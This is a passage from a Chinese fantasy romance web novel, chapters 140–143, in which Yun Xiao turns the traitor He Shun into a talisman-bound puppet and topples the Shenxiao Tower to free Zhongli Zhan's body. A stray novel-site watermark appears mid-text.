何舜是看见洛锦之后才知道钟离湛其实早就为他铺好了后路,他将凌国将来几十年的谋划都写在了一卷长长的卷轴里,卷轴的最后端还画下反咒的咒印,教会他如何使用。 钟离湛在那如同交代后事一般的书卷里落下一句:“若遇能人又不得把控,便可巧施此咒。” 至少反咒能替何舜挡下这世间绝大部分的暗害。 何舜捧着卷轴自责后悔万分,他想完成钟离湛交给他的任务,他想让凌国越来越好,而不是落入那些蠢蠢欲动的野心家手里。 可洛锦并不信任他,洛锦憎恨何舜,曾经他们是最好的搭档,一年后再见已成仇敌。 洛锦说:“你不配坐在君上曾坐过的位置上,你也不配得到君上的信任。” 洛锦拔出长剑直指何舜,他告诉何舜他已经在王宫等了很长时间,在知道何舜与那些叛徒联手害死钟离湛后,他就期待有朝一日能为钟离湛报仇。 而今,他们之间不是你死就是我活。 何舜自然打不过洛锦,他原本也不想活的,可上苍赋予他五族血脉,让他在濒死关头失去意识之前,活命的本能反杀了洛锦。 信仰的君主,交心的朋友,都死在了他的手上。 何舜曾有过至亲,有过挚爱,有过孩子,他失去了父母妻子和孩子之后,钟离湛就是对他最终要的人,而钟离湛死去才短短一年,他便又杀了洛锦。 他甚至都没有众叛亲离的机会,因为这世上再也没有对他而言重要的人了。 何舜杀死洛锦之事并不隐秘,当时王宫里有许多人看见,百姓口中的风向突然转变,他们不再念着钟离湛的好,他们说洛锦是钟离湛的走狗,是这天下苍生的罪臣。 湖族借此机会大肆宣扬圣仙美名,将那金氏少女奉为救世主,自然而然地坐在了帝王位置上。 何舜甚至连和对方去争的立场都没有,他不过是个面目全非,不人不鬼的怪物,若他有一日出门没蒙面,便会吓哭路过的孩童,甚至吓死多看他一眼的老人。 那些叛徒穿着黑袍蒙着脸,是因为他们做了亏心事不敢见人。 而何舜蒙住全身,是因为他也有亏心事,不敢面对自己。 他打算去东洲隐居,隐居之前他想爬一次望月山,因为他记得就是望月山上的月坛盖建期间,钟离湛的性格变得难以捉摸。 他想知道望月山上究竟有什么,盖建月坛的意义又是什么。 然后他就见到了陨落在望月山上的元司。 他从元司那里知道钟离湛非死不可的原因,是因为钟离湛窥见苍天险恶,是因为钟离湛想还尘世清明。 君上明明一直做的都是为苍生,为天下好的事,可这些苍穹上的天神与人间的氏族无异,他们把持着至高的权力,肆意玩弄生灵。 这世道不公,布满荆棘,而钟离湛的剑斩断了他们设下的荆棘,开辟一条光明大道,这才要被抹去。 多可笑啊! 何舜痛心无比,他知道自己是个彻头彻尾的傻子,却也为苍生感到可悲。 这世上没有怜悯世人的神明,不论是哪一重世界,都是弱肉强食。 何舜知道元司只剩残魂,他用自己不杀元司来交换元司所知所会的一切东西,元司以为这世间凡人都向往长生成神,于是便用练就神鬼蛊的方式换取他数年安宁。 后来就有了傀儡术,有了五行炼丹,有了一些寻常符咒…… 一次次,何舜能从元司那里得到的越来越少,有一次他险些就叫元司灰飞烟灭,元司终于忍无可忍地告诉他,钟离湛还能活! 他说那场大火中,钟离湛其实仍然有机会挣脱,因为他早就斩断了苍穹对他的桎梏,甚至将元司拉下神坛,解放了曦族人世代的诅咒。 只要曦族不与外族人通婚,混淆了他们的血脉延续,他们就会一直平安下去。 钟离湛所行,超出凡人厚德,他早就不是凡魂,所以他的灵魂不会死,只需要找到一个合适的载体,钟离湛就能复活。 再后来,何舜所做的一切都是为了复活钟离湛。 何舜说完这一切,自惭形秽。 “所以,你便伤天害理,杀人无数。”云绡道:“便是你不曾想过背叛孤,那你而今的所作所为,与那些想要杀孤的人,有何区别?” 何舜拼命摇头:“我管不了那么多!我、我有负君上嘱托,我成不了像君上一样的人,我救不了他们。” “你是不能,还是不想?”云绡问他。 何舜犹豫了片刻,他是真的不能吗?两千多年的寿命,五族共同的能力,他的起点比这世间任何一个人都高,他若想,难道真的没办法反抗?又或者最终他失败了,可至少他尝试过。 但他没有。 何舜知道云绡一语道破他的丑恶,可他还是要说:“我不是不能,也不是不想,而是不敢!我不怕死,可我怕我死了,这世上就再也没有人能还给君上清白,就再也没有人能让君上活过来!” 云绡微微挑眉:“是吗?若此刻有个机会就摆在你的面前,能洗刷孤之恶名,展苍穹之险恶,你就敢为?” “我敢!”何舜抬起头,因为他听到的一直都是云绡的声音,所以他本能地朝云绡看去。 对上云绡的眼,何舜有那么一瞬间觉得钟离湛的魂魄就在云绡的身上,她的眼神不再空洞,冷凛地盯着他,像是一眼就能看穿他是否在说谎。 何舜不怕,他没有说谎! “我敢为君上,上刀山火海,万死不辞。”只要君上,还愿意信他。 “哪怕,需要你揭露真相,万世背负骂名,更甚至受天雷降惩,你也敢?” “是!我敢!” 云绡低声道:“那就不要阻止推翻神霄塔,就让云上的神明来苍生看看,纵使封印两千年,钟离湛,仍然是那个可以将他们拉入凡尘,从此化作沧海一粟的钟离湛!” “君上信我?”何舜心下砰砰直跳,他没问钟离湛的计划为何,他只知道,只要是钟离湛下的令,他就一定执行! 云绡眨了眨眼,挑眉一笑:“不信。” 何舜一瞬从她这抹笑中察觉到了诡异的熟悉感,他恍惚坐直了身躯,昂着头看向符光中的云绡:“你……不是君上?” “你猜?”云绡说完,抬起的手对着虚空轻轻一握,何舜便立刻产生了强烈的窒息感。 他不可置信地瞪大了双眼,意外地望着云绡,四肢百骸上传来的束缚叫他挣扎不脱。 就在他的周围,这漆黑一片的禁地里,满墙黄符上朱砂显出了红色的光彩,密密麻麻,如铺满墙壁的蛛网。 而那些蛛网中总有一条线是缠绕在何舜的身上的。 这一幕何其眼熟。 聆音断念,目视摄魂。 就在不久前,何舜才在光盈殿内对云绡使用同样的傀儡术,他用了三百张认主符,云绡至少画了三千张! 可……这怎么可能?这世间还有人会此秘术?况且云绡不是早就成了他的傀儡? “你……你没有中傀儡术!”何舜在这一瞬才想明白了关键! 可他刚说完话,云绡动一动食指,何舜的下巴便高高扬起,黑色面纱底下露出了一节焦黑的脖子,脖子上绕 了不下十根交错的红线,根根绞住了他的命门。 云绡唔了声:“我好像没说过我中了你的傀儡术。” “那你……”何舜的声音嘶哑,险些无法发出声。 云绡知道他想问什么,她道:“你想问我,怎么会知道你是谁?” “我见过你啊,何舜,在两千多年前,是我下令让你斩断尾人族的尾巴,解脱他们奴隶的身份。也是我下令让你统计旖族女,展开杀前领养之策。还有……望月山下。” 云绡每说一句话,何舜的瞳孔便放大一圈,直至望月山下四个字一出,他立刻就知道云绡是谁! 难怪,她方才能将钟离湛的语气学得那么像!难怪,她一眼就认出了他是谁!还演了这么一出戏,就是为了将他变成她的傀儡…… 何舜突然觉得天塌地陷,如若云绡从未被傀儡术控制,那她说的话也定然是假。 君上……真的曾托梦给她吗? 君上……真的还能活过来吗?! 就在他六神无主之际,听见云绡轻飘飘地说了句:“钟离湛,他是你的人,你自己决定,是该利用他,还是杀他。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 140-150 第141章 云绡从不打无准备的仗。 以身入局,是因为她知道自己能做到哪一步,与其将希望寄托在他人身上,倒不如自己应对变化。 在知道这个神秘的黑衣人就是何舜时,云绡的心中其实也闪过一丝愁云。当初钟离湛对洛锦、何舜的信任,比起她对仲卿和徐容靳的感情也不差多少,可世事不由人把控…… 此番回京,她信任之人只有陪同她经历过生死的仲卿和徐容靳,所以她愿意将一部分要事放在仲卿和徐容靳的身上,但真正与钟离湛有关之事,非得她亲身上阵才行。 看着此刻跪在自己面前,神智都变得不太清明的何舜,云绡的心里泛起些许快意的涟漪。纵使一切非何舜所愿,云绡却永远记得他对钟离湛的伤害,她也永远都记得钟离湛保护着她的魂魄,独自在火海中承受死亡的痛苦。 或许钟离湛已经没那么责怪何舜了,毕竟他是男菩萨嘛。 可她云绡从不是什么好人,她就是要让欺负过钟离湛的人,受到应有的惩罚。 那是他们必须得付出的代价! 所以她才会在这个时候开口喊出钟离湛的名字,故意说给何舜听。 她要让何舜知道,钟离湛其实早就醒来,他也无需何舜做那么多伤天害理之事去拯救。莫要让何舜觉得自己所行再多错误都是值得,也不许何舜给自己找一个这一切都是为了复活钟离湛的借口,便可以无视世人本应对他的谴责。 钟离湛走到云绡的身边,目光落在已经彻底被认主符上的红线缠身的何舜身上。 其实方才何舜说的那些话他也都听见了,钟离湛的听他那样笃定地说出他敢为自己付出一切时,内心触动亦有茫然。 钟离湛没有过信仰,他只信自己。 可他也不认为这世间所有人都如他一样坚毅,人生百态,这世上绝大部分的人都需要看见一个光点,才能找到自己人生真正的道路。 钟离湛只是没想到,何舜两千多年的光点竟然是他。 云绡说,是杀了他还是利用他,全由钟离湛自己决定。 钟离湛当然知道云绡说这句话的用意,毕竟让钟离湛来决定何舜的生死与否,任何一句话,一个抉择,都会让何舜道心破碎,千疮百孔,这是云绡想到的对何舜最好的惩罚。 “我惩罚不了他。”钟离湛伸手摸了摸云绡的脑袋,将她头顶上有些翘起的发丝往下按了按,温声道:“世人都得为自己的行为负责,他背叛我,所以他失了我的信任,也承受过悔不当初的煎熬,我与他之间的因果就此了断。” 云绡眨了眨眼,她就知道钟离湛心善,不过她可没那么好心。 所以云绡故意露出一抹笑容,心情颇好地道:“也对,让你决定他的生死,岂不是奖励他?倒不如将他的用处最大化。” 何舜看不见钟离湛,但他能顺着云绡的视线看到一丝她身体周围气场的变化,好比钟离湛按压云绡头顶的发丝,便是让他知道,钟离湛就在她的身旁。 何舜也听不见钟离湛的声音,但云绡的回答,无异佐证了钟离湛的存在。 他是高兴的,这至少说明云绡也没有完全骗他,钟离湛真的有望复活,纵使这些都不是他的功劳,可他仍然开心。 同时,何舜的心里又有一丝难过,因为从始至终他都没能和钟离湛真正对话过,哪怕是云绡让他决定何舜的生死,他也不对何舜做任何处置。 他从未得到过钟离湛的责怪和原谅…… 云绡围绕着何舜转了一圈,待到捆缚在他身上的红线全都绑定了何舜的四肢百骸,奇经八脉,与他的血肉都融为一体,将他彻底变成一个认云绡为主,且拥有自身意识的傀儡后,云绡才稍稍松了口气。 她道:“你也别太难过了,何舜,毕竟你不是我要对付的最终目标,所以也不必为自己的失败而失落。” 何舜如今身体彻底不受控制,但五感仍在,意识虽有些混沌,可他能分辨云绡话里的用意。 他若不是云绡的目标,那谁才是? 她回到京都,难道不是为了特地对付他? “为你解惑,也未尝不可。”云绡虽是对着何舜说的,但更多是在向钟离湛解释。 钟离湛一直以为云绡做这一切,就是为了将他的身体从天祭台下挖出来,但云绡更深一层的用意,其实就是想给钟离湛报仇。 报他千年前千万里赴死,被人设计之仇。 “在回京之前,我就已经让人放出风声,拔高圣女身份,谣言灾星降世。托你杀了显帝之福,我从京都往曦族一路经历,也算是给自己增添了不少助力。” 如今若川在徐容朝的手里,云绡与徐容朝有几分渊源在,而徐容靳又是徐容朝的亲哥,他的话徐容朝便是有猜忌,也会信三分。 调动距离连玉州最近的若川派人入京宣扬天生异象,昭告世人祸难来临,是第一步。 云绡于旖族女有恩,想要她们帮忙编造歌谣,传至百姓家中,再把鬼女山大肆宣扬一番也不是难事。以鬼女山作为异象佐证,是第二步。 仲卿在京任国师数十载,曾也有恩于人,朝中李大人故意挑明异象与往年战事有关。凡是天生异象,总会惹来战祸,是第三步。 当然,还有曾在渡仙城中被云绡拯救的人,和沈旨,凡是可利用的,都是为云绡的计划加码。 而云绡在后宫与他们同步进行,入宫第一件事是杀景妍,一是为了借机让何舜确信她是最适合钟离湛的身躯,二是没有景妍在云光憧耳旁吹枕边风,云绡会更好拿捏云光憧。 她果然让云光憧动了推翻神霄塔的心思,结合朝中李大人的“危言耸听”,推翻神霄塔已经势在必行。 而云绡对付何舜,则先取信何舜,借机确认钟离湛身躯完好无损。她本意是打算反杀何舜的,不过何舜对她用了傀儡术后,云绡觉得傀儡术比杀何舜更好使。 “我过目不忘,学起东西来就连钟离湛都夸过无数次,所以你那傀儡术里的认主符,看一眼我就记下来。”云绡道:“你以为我是你的傀儡,便对我放松警惕,不知我在你看不见的时候早已画了许多张认主符,为了成功,我可是足足画了三千张,生怕困不住你。” 确认了何舜对钟离湛似乎并非想要利用钟离湛的身躯达成自己的目的后,云绡就知道他绝不可能在埋葬钟离湛的禁地动手脚,所以这里便是她设下认主符的最好地方。 就算这一次何舜没有将她留在这里,那也总有下一次,只要他相信他是可以借着云绡和钟离湛通话的,那云绡总能找到留下来的理由。 方才她故意让何舜说那么多关于过去的话, 也是因为她看得出何舜很介意过去,只要提起那些过往他的情绪便会变得起伏不定,意识也会脆弱一些。 这个时候催动认主符,让他听着她的声音,顺势应话,再让他看着她的眼睛,成功摄魂。 能够完全掌控何舜的一举一动,是她的第四步。 云绡直视钟离湛,目光坚毅道:“这世上没有任何一个人或物,比何舜更能让世人相信,五族的力量和数千年无休止的争斗,都是因为云上巨人的一场游戏。” 他集齐了五族力量和特征,便可以证明这些所谓与生俱来,将人分成了五种完全不同的族人的力量,并非是被天神赋予的天赋,这完全是凡人的无妄之灾。 纵使没有苍穹的干涉,人也有国度之分,有战争发生,可那是凡人自己的事。 纵使苍生内仍有三六九等,贫富差别,那也是凡人自己的事。 他们无需一双双无形的手,提着傀儡身上的线,去完成那一盘本就不应出现的棋局! 钟离湛看向云绡的眼神很炽热,他知道云绡不凡,可当她做出曾与他一样的选择,以一种残忍的又直白的方式,要将这世间不公昭告天下……钟离湛又一次为她心动。 疯狂的心动! 就好像这一瞬他已经回到了他的身躯,他已经活过来了,所以才能感受到胸腔里炙热的紊乱,那是他的血液在放肆沸腾。 眼前少女说出这一番话,叫他笃定,她天生就属于他,他们简直就是天生的一对。 - 何舜觉得云绡很大胆,可他又从云绡的这番话里,听出了他曾经也曾感受过的强烈的躁动。 他心中忽而生出了一种恍然,为何当初他觉得钟离湛的身体里有另一道魂的存在,宛如邪祟一般吸引得君上不再像过去漠然又理智的君上。 那是因为彼时的钟离湛放眼整片山海,也找不到一个能与他心意共通之人,诸多压力袭来的窒息感,只有他自己承受着。 云绡是那个特殊之人,她从某种角度而言,极像钟离湛。 所以何舜有时也难以分辨他们二人的区别,那种相似的感受,在今日他又一次体会到,也明白那是什么。 何舜一直视钟离湛为信仰。 钟离湛活着的那个时期里,乱世荒土枯水,各族征伐不休,他的存在就是无数个曾被他施以援手之人的信仰。他的存在就是告诉那些人,活着还有意义,生命虽有结尾,但生活都是奔向光明之路前行的。 纵使他们迷茫,纵使他们未必能看见那条光明之路,但他们能看见钟离湛□□的后背。 云上巨人把控着苍生生死,凡尘也有个巨人握剑直指苍天。 那个巨人被他曾救过的人亲手推到,可他的脊梁未弯,似一把永远也无法折断的剑,传承着他的意志,于两千多年后的今天,仍然有人能和他一样,敢与天斗。 甚至云绡比钟离湛多了一分邪性,她敢算计天。 - “所以,你知道推翻神霄塔的后果。”何舜的声音有些破碎,他已经顾不得强行开口是否会让云绡操纵的傀儡线割断自己的喉咙:“你是故意要推翻神霄塔的。” 云绡点头:“当然!我非但要推翻神霄塔,我还要铲平天祭台,我要让皇城脚下红泥现世,我要让世人看看,谁才是害人的恶鬼。” 说完这些话,云绡重新站在了钟离湛的面前,她略歪着头抿嘴一笑:“这回轮到我问你,你怕不怕啊?” 钟离湛听见云绡这么问他,他张开口连呼出的气息都像是火一样发烫。 “怕?”他眸光深邃地盯着云绡,像是要将她嵌入自己的神魂中强烈的占有:“我简直要爱死你了!” 钟离湛从未想过云绡会做到这一步,不论是为他,还是为天下人,她都拥有他曾经没有过的坚毅勇气和胆识。 过去的钟离湛孤身一人,即便直面苍穹施压,云上巨人的阴谋,他也只能硬着头皮往前走,默默斩断关联,云绡却敢想敢做,不让他们有隐匿云上的机会。 “你这回不担心我所谋太大,会自掘坟墓了?”云绡还能调侃他一句。 钟离湛摇头:“我仍然怕你会受伤害,但我不会允许它发生。” 他没有身躯,也失了一部分自信,他总觉得自己如今只剩下魂魄一缕,所以处处谨慎。其实是死是活,是完整地回到身体还是灵魂状态,都不影响他就是钟离湛。 他既能拔出灵魂中封印之剑,便也该有护住所爱之人的力量。 “绡绡,我真的好爱你。” 钟离湛的眼神温柔深情得几乎要溢满出来。 这句话,说几次都不足表达他被云绡吸引的强烈爱意。 第142章 云绡意推神霄塔,云光憧来问仲卿何时适合,仲卿还真算了吉时。 动土那日是小寒,京都从前一天就开始飘雪,许是真应了吉时,飘下来的雪都是很小的雪子,落在地上便不见了,到了第二日也没影响到推塔的进程。 推塔分三天举行,就像当初的圣仙节也分三天庆贺一样。 当初圣仙节有三天的由来,是因为第一日为苍天应召,赐圣仙神力,第二日是圣仙布局,感召杀神回头是岸,第三天才是杀神泯顽不灵,圣仙倾覆自身神力,以血肉之躯化作了杀神的囚牢,这才有了神霄塔和天祭台的存在。 云绡让推塔分三次进行,倒不是为了对标圣仙节,而是因为她还需要再等一等。 徐容靳派乌鸦传信,前往京都的队伍因为北方落雪耽搁了两天,人若不齐,她摆了戏台子也没人看。 故而仲卿神神叨叨地又将第一仙师的名号摆出来,说神霄塔位处不同,塔下有股力量支撑着国运,所以要推塔,还得有足够的仪式感。 第一日测位,数道破石符定点贴放。 第二日设阵,神霄塔一旦推翻,定然会向外倾斜坍塌,为了不影响京都其他建筑,他们便在神霄塔周围设阵,避免伤及围观的无辜。 第三日是祭祀。 朝堂上,李大人提起云光憧既然要重建神霄塔,请圣女祈福安定苍生,为了不让一些不明真相的百姓以为推塔不再重建心生忧患,倒不如让祈福仪式与推塔同一日进行。 云光憧无不答应。 他心里很慌,数日未眠让他精神萎靡,尤其是近来各族境内并不安生,以那尾人族为首,姓徐的甚至将他若川内找到的长满虫洞的白骨呈上,望他重视。 云光憧看见那些白骨,就想到云绡对他的危言耸听,想到如今他惹祸上身的国师! 云绡每日都去神霄塔,回来之后他拦着问她去神霄塔做什么,可云绡却说她什么也不知道,她表现得比他还要无措,这叫云光憧更加迫不及待地想要拿到国师的把柄!朝中便是有些湖族的大臣反对推翻神霄塔重建的声音,也都在被云光憧按了下去。 三日不过转瞬就过。 云绡这一日被打扮得特别隆重。 橙红色的长袍上金线绣了祥云,繁缛的头饰是她曾经从不敢肖想的珍宝,金钗玉饰,珍珠玛瑙,凡是能用的都堆在了她的头上。 就在她这些复杂的首饰里还有一根特殊的桃木簪,簪上祝文深刻,与满头华饰尤为不符。 钟离湛的手轻轻扶了一下她的簪子,看着她今日这样庄重又华丽的装扮,胭脂水粉描摹的面容,突然觉得她有些陌生了起来。 云绡的额头上画了花钿,原本是要画牡丹花的,她不喜欢,只自己用胭脂添了一笔。反正这也不过是走一个形式,所以她需要一个在外人眼中看着能够有说服力的形象。 画完花钿,云绡特地抬起头给钟离湛仔细看看,她的额头眉心处多了一条细细的红痕,就像是一根发丝划过了血珠落下的。 “怎么样?像不像你?”云绡伸手指着自己额头的位置。 钟离湛挑眉,这才明白她这么做的用意。 熟悉感再度回来,让他有种护在掌心里好好的小鸟突然飞离了掌心,在外头转了一圈又依赖地重新落在他手心里的感觉。 云绡笑道:“这一次我在禁地底下看清楚了,你的额头还是有这条红线,可为何你的魂魄没有?” 钟离湛对云绡道:“大约是因为我生来时是没有这个印记的。” 这个印记,是从他杀死了祁山鹤,而后连续噩梦梦到了云上巨人后才慢慢浮现的。 钟离湛知道这是他的一个机遇,正因如此,他虽次次陷入被巨人困住的梦魇,却也能次次从噩梦中清醒。 广茗宫外有人提醒,吉时快到了。 “要走了吗?”钟离湛问。 云绡朝他狡黠一笑:“现在还不到我出场的时候,走!我带你去拿回你的身体。” - 此次祭祀不是在天祭台进行。 往年的圣仙节都在天祭台祭祀,百姓和官员都会提前将自己的祭品送到天祭台,层层台阶上都 堆满了世人对圣仙的尊敬和赞扬,那些力量也是覆盖在钟离湛脊背上的一座山。 只要这世人还信圣仙,还愿意祭拜圣仙,那都是对钟离湛的伤害,云绡不会在这最后时刻还让他们踩在钟离湛的头顶上祭奠他人。 为了能让更多的人看见,云绡特地选在皇城中门云天鼓楼处进行。 皇城中门为京都正大门,道路宽阔可供十辆马车并排行驶。云天鼓楼曾是凌国开过时的仙师测算的大吉方位,位于京都正中心,两条主道交错将其环绕,鼓楼上数百击乐乐器,一响起来大半京都的人都能听得见。 以鼓楼为中心,往北是皇宫,往西是神霄塔,东方还有专供各族长老下榻的摘星楼,在特殊的今日,每一处都挤满了人。 非但是京都的人,还有五族其他的人,这其中有一些是被云绡喊来的,还有很多是本就离连玉州不远,听闻圣上要推翻神霄塔重建急忙赶来的。 两千多年前震慑杀神所设高楼于今日轰然倒塌,还要让那与国运绑在一起的圣女为凌国祈福,如此盛况,他们怎么能缺席错过? - 徐容靳此刻站在摘星楼的最高处,楼阁上方只有两间屋子,这一间被尾人族占据,另外一间里的是湖族。 面朝鼓楼的两扇窗都被打开,徐容靳负手站在窗边,眉心微蹙,目光沉沉地落在云天鼓楼的方向。站在他身旁的人虽面上比他稳重些,可眼神四扫,远没有徐容靳的淡定。 “你和她,另有谋划。”徐容朝其实早就知道,只是之前他一直都不愿面对,此刻人已经身处京都,前面徐容靳要他做的事都做了,而他似乎也没什么退路,便干脆放开来说。 徐容靳朝徐容朝看去,他的弟弟仍然是上下百年内,湖族最优秀的青年。 徐容棋以一命换得了徐容靳自由,徐容靳叛逃若川后,整个若川的烂摊子都落到了徐容朝的身上。 彼时徐父在火中重伤,继母又是个面甜心苦的蛇蝎美人,祖父昏迷不醒,若川上搜出了成千上万具白骨,人心惶惶。 饶是如此,徐容朝也还是用自己的雷霆手段急速笼络人心,祖父仍然在医治,徐父也活了过来,不过双腿残废,此生不能再站起来。 经过若川白骨现世一事和云绡的提醒,徐容朝也不再是那个天真无知,相信尾人族中没有谎言的蠢蛋,把持着权力之后,他做的第一件事就是软禁了继母。 让她和残废的徐父住在偏宅,内外多人把守,密不透风,对外便称他们伉俪情深,继母是自愿服侍徐父终老的。 徐容靳不久前找回去时,徐容朝对他有几分忌惮,徐容靳便用云绡教给他的话,轻易说动了徐容朝。 他对徐容朝说:“你有祖父庇护,父亲视你为骄傲,从小环绕在你身边的美名多不胜数,纵使在京都你受辱归来,却也还是麒麟山庄的庄主。 我与兄长什么都不是,为了能在徐家活下去,别说是杀人,必要的时候吃人也能做得。一母同胞的兄弟,你绫罗绸缎加身,我与兄长只能上山摘野果果腹时,你见到我们,难道真的没看见我们面黄肌瘦吗?” 徐容朝果然无话可说,他的确没发现,因为两位兄长从来都不说。 徐容棋每次看见他,也只说:“你近来过得不错,那就很好了。” 徐容靳和他的话更是很少。 徐容朝以前以为,是因为他少小离家,与两位兄长难免有些生疏,可实际上是他一叶障目,是他太理所当然,是他觉得眼前所见就是真,双耳所闻就是实。 徐容靳道:“就当还我?你帮我,我也不白帮你,若川山间白骨是谁所为我知道,若川的仇,我来报。” 徐容朝答应了,他无法拒绝徐容靳,尤其是看着他那被烧毁了半边面目可怖的脸。 一路赶来京都,徐容朝才知道徐容靳居然是在为云绡做事,他一直隐忍不曾问出口的话,终于在今日问了出来。 “她,是利用你,还是……”徐容朝没说完,徐容靳便朝他看去:“她信任我。” 徐容朝心中一瞬泛起了苦涩:“你们是君臣?” 徐容靳嗯了声,又朝他心里扎了一刀:“也是朋友。” 虽说曾经当过母子,但……这不重要。 徐容朝喃喃:“朋友吗?难怪你会为她求我。” “互惠互利,何必言恩。”窗户的另一边传来轻飘飘的一句话啊,叫徐容朝惊醒。 徐容靳看见那张与自家义父十分相似的脸,有礼有节地朝对方拱手:“沈家主,没想到您也来京都了。” 他也不算真笨,知道沈旨成为湖族长老是司徒音璃一手促成,他自己不乐意。司徒音璃的孙子司徒皎被改了姓,在司徒音璃死后自然也不能回到沈家,如今沈家虽然大不如前,可好歹是沈旨自己做主。 沈旨也回了徐容靳一礼,清俊的面容带着和煦的浅笑:“我看见云姑娘就欢喜,她来向天祈福,我自是要捧场的。” 沈旨说罢,抬眸瞥了一眼还艳阳高照的天,想起那个在望月山上被云绡追杀的天神残魂。 沈旨知道的不多,可也不是全无所晓,他也想看看,一个能杀神灵的女子推翻神霄塔来向天祈福,天欲何为? 至于沈旨喊云绡为云姑娘而不是十一殿下,自然也是随了徐容靳唤他那句家主而来。 他不想当湖族的长老,云绡也未必想成为凌国的十一殿下。 “徐大哥!” 摘星楼下一层,窗户猛地被推开,一节花枝从窗里探出,紧接着一名小姑娘半截身子倒仰了出来,还朝楼上拼命挥手。 徐容靳垂眸,方还抱胸端着立刻就弯腰双肘撑在窗台上,看向那张笑脸,惊吓地喊了对方一声:“陆梨,把头缩回去。” “当心!”水荷才发现陆梨半截身子探出去了,拽着小姑娘赶忙收回来,而后徐容靳就只闻声音不见人影了。 “徐大哥,许久不见。”水荷开口,旁边还有陆梨的声音:“我想上去找徐大哥玩儿。” “许久不见。” 徐容靳应了水荷的话,又对陆梨道:“你安生些,待到晚几日,我再带你转京都吃美食可好?” “好呀好呀!” 陆梨的性子活泼了许多。 徐容靳去旖族时并未见到她和水荷,他也不是特地去找她们的,他是为了杨家而来。 杨家如今在分崩离析的旖族中还算得上是比较正统的旖族氏族,旖族又无长老,杨家也有几分威望。 杨珩宁中毒但还未死,可也是强弩之末,云绡对阿樱几人有恩,旖族帮忙撒播云绡美名不是难事,但若想再帮更多的忙他也是有心无力,只想最后时光伴在所爱之人身边。 徐容靳便道:“杨家主可还想活下去?” “你能让我活?”杨珩宁当然不想死! 他当初服毒,是为了阿樱,如今阿樱好好地就在他的身边,他当然更想能和阿樱相守一生! “同生符。”徐容靳道:“可与另一人寿命相合,她生则你生,她死则你死,只要阿樱姑娘能长命百岁,杨家主就还能再活八十年。” 杨珩宁为了同生符,拖着快死的身体也要赶来京都。 徐容靳走后水荷和陆梨才拜访完那些各处安家的旖族女子,回到城主府,听到他们要来京都便也要跟着过来。 - 几族中首屈一指之人都在此时此刻,于此地相会,还都与云绡有关。 徐容朝一时怔然。 他自以为于悲痛中成长,实际上更像原地踏步,再看面前曾经在尾人族中籍籍无名的兄长,他的世界,比自己丰富多彩太多了。 也许,生为尾人的天赋,从幼时给他带来的好处,换来的就是今后他也要为尾人族肝脑涂地,失了更加自由广阔的天地。 “圣女!是圣女!” 人群中一阵喧嚣,徐容朝立刻循声望去,徐容靳几人也止了话语,看向那漫天花瓣飘零的云天鼓楼。 云绡的名声与威望,经过数日造势,早已不可与何舜当初所作所为比拟。 众人只见了花瓣落下,便以为圣女亲临。 忽然间一声轰隆巨响,大地震颤,尘烟四起。 京都西面的神霄塔在众人始料未及之时轰然倒塌,瓦砾倾覆,砖碎符裂,巨大的塔身压垮了天祭台的阶梯。 风云变色,不过弹指一挥间。 第143章 云绡没去云天鼓楼,她做好一应装扮之后离开广茗宫是先去了神霄塔。 原本这里全都是何舜的眼线,在何舜被云绡控制了之后,神霄塔内外她也可以随意进出。 黑暗的禁地之底,阳光透过锁链的缝隙只照进来一丝。 云绡蹲在钟离湛的面前,需要再垂下些脑袋才能与他的脸平视。 她本想要仔细观察一下钟离湛额头上的红痕,确定自己所绘的花钿与他的红痕一致,渐渐的,因长时间近距离盯着钟离湛那张清晰具有实质的脸,云绡没忍住又顺着他俊逸的五官细细看了两圈。 钟离湛就在她的身旁,自云绡来到禁地之后一直蹲在他的面前,一会儿伸手摸一摸他的眉心,一会儿戳戳他的脸。 她盯着他看了多久,钟离湛就看了她多久,因为云绡动手动脚,他心里也渐渐生出一股说不清道不明的感觉来。 见云绡的手指从他的鼻梁往下游移,扫过鼻尖,落在了唇上,还轻轻按了一下。 钟离湛双眸快速眨了两下,灵魂与身体共感,脸上所有被她触碰到的地方都泛着些微痒意。 钟离湛没忍住伸舌舔了一下被按住的嘴唇,又用牙齿轻轻嗑着。 禁地下一时静谧,云绡的手指贴着钟离湛的下巴,抚摸了一下道:“两千多年你都没长胡子哎。” 钟离湛:“……” 喉间滚动,钟离湛道:“别乱摸。” 云绡闻言眸光一亮,她的手还贴在钟离湛的脸上,抬头看向他的魂魄,眉目弯弯地问:“我这样碰你,你的魂魄也有同样的感觉吗?” 她头上宝饰太多,抬头的一刹那发出叮铃当啷的声响,金银贴着两腮折射出斑斓的光芒,更显得那双美眸明亮。 钟离湛毫不怀疑如果他这个时候点头,云绡说不定会对他的身体做出什么大胆的事情。 但……他也有些期待她会如何。 钟离湛点头的幅度很小,云绡看见了,那双眼露出了狡黠的笑意,似乎能在黑暗中看见他红透了的耳廓。 云绡的手指在钟离湛的下巴处像哄什么小动物似的挠了挠,钟离湛一怔,察觉到下巴处的痒意,那一瞬他不光耳廓红了,便是整张脸也红了起来。 似是恼羞成怒地朝云绡瞪了一眼:“你……” 云绡笑盈盈道:“你以为我要做什么啊?” 问完这话,她还故作无辜的用手指又戳了一下他突起的喉结,满意地看见钟离湛的神色一滞,也听见了他的喉间发出了沉闷的一声哼。 钟离湛的狐狸眸危险地眯起,他轻轻勾起唇角似笑非笑,便是没开口,云绡也能从他的眼神中读出:你给我等着。 等着就等着,她很期待的啊! 外头的喧闹声越来越大,云绡也收了逗弄钟离湛的心思,她起身整理了衣襟,念了一句咒后动了动食指,告诉何舜,眼下就是时机了。 云绡到底是经历过何舜的背叛,所以她并不是真的信任何舜,尤其是在知道何舜死期将近这一刻,云绡就更不放心他是否会为了下一个两千年的生命,生出什么异心。 所以云绡虽然允许何舜陪着她来将这个戏台子进行下去,可却并未对他完全放心,那些控制住何舜一举一动的傀儡线自他动身时起,她就一直牢牢握在手中。 轰隆隆的坍塌声响起,尘土掩盖了天祭台上空最后一丝光芒。 屹立两千余年的巨大高塔轰然倒塌,连接着天祭台下方的阵界也发生了细微的变化,困住钟离湛身躯的红泥上浮现处莹莹点点的光斑,暗红色的泛着血腥气息,像是无数个枉死的恶鬼在哀嚎。 云绡知道这是六杀阵,是真正困住钟离湛立在原地不得动弹的阵法,六杀阵伴着摄魂咒,一个不妙便会让钟离湛再度陷入两千多年前难以自就的困境中。 可这一次总有些不一样的地方。 钟离湛在尘土飞入禁地时便立刻设下护身的阵法,将他和云绡还有自己的身躯都围在其中。 